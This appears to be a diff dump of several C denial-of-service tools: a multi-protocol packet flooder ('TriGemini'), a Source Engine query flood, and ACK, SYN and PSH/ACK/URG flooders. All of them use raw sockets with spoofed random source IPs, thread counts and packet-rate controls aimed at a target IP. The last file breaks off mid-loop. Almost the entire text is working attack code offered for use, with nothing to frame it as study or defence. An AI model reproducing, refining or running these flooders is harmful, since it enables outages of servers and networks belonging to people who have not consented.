packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
|
||||
SEND_PACKET();
|
||||
}
|
||||
const char *banner = "TriGemini. [TCP/UDP/ICMP Packet flooder]";
|
||||
static void
|
||||
usage(const char *argv0)
|
||||
{
|
||||
printf("%s \n", banner);
|
||||
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK 1: FIN\e[1;37m]\e[0m\n");
|
||||
printf(" \e[1;37m[\e[0m2:RST 3: SYN\e[1;37m]\e[0m\n");
|
||||
printf(" \e[1;37m[\e[0m4:URG 5:PUSH\e[1;37m]\e[0m\n");
|
||||
printf(" \e[1;37m[\e[0m6:ECE 7: CWR\e[1;37m]\e[0m\n");
|
||||
printf(" -h target host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
|
||||
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
|
||||
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -T5 -T6 -T7 -U -I] -h -t\n", argv0);
|
||||
exit(-1);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,176 @@
|
||||
/*
|
||||
* Valve Source Engine Layer 7 by LSDEV
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_udp_header(struct udphdr *udph)
|
||||
{
|
||||
udph->source = htons(27015);
|
||||
udph->dest = htons(27015);
|
||||
udph->check = 0;
|
||||
void *data = (void *)udph + sizeof(struct udphdr);
|
||||
memset(data, 0xFF, 4);
|
||||
strcpy(data+4, "TSource Engine Query");
|
||||
udph->len=htons(sizeof(struct udphdr) + 25);
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(17015);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_udp_header(udph);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Valve Source Engine Layer 7 by LSDEV\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,216 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 65534
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = rand();
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = rand();
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->ack = 1;
|
||||
tcph->window = rand();
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = rand();
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = rand();
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Improper ACK flood parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 100;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,215 @@
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <time.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
char ip[17];
|
||||
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(rand()%54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr(ip);
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(rand()%65535);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = 0;
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = 1;
|
||||
tcph->window = htonl(65535);
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = htons(floodport);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
|
||||
|
||||
tcph->dest = htons(floodport);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
srand(time(0));
|
||||
fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
|
||||
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = rand();
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->psh = 1;
|
||||
tcph->ack = 1;
|
||||
tcph->urg = 1;
|
||||
tcph->window = rand();
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = htons(floodport);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
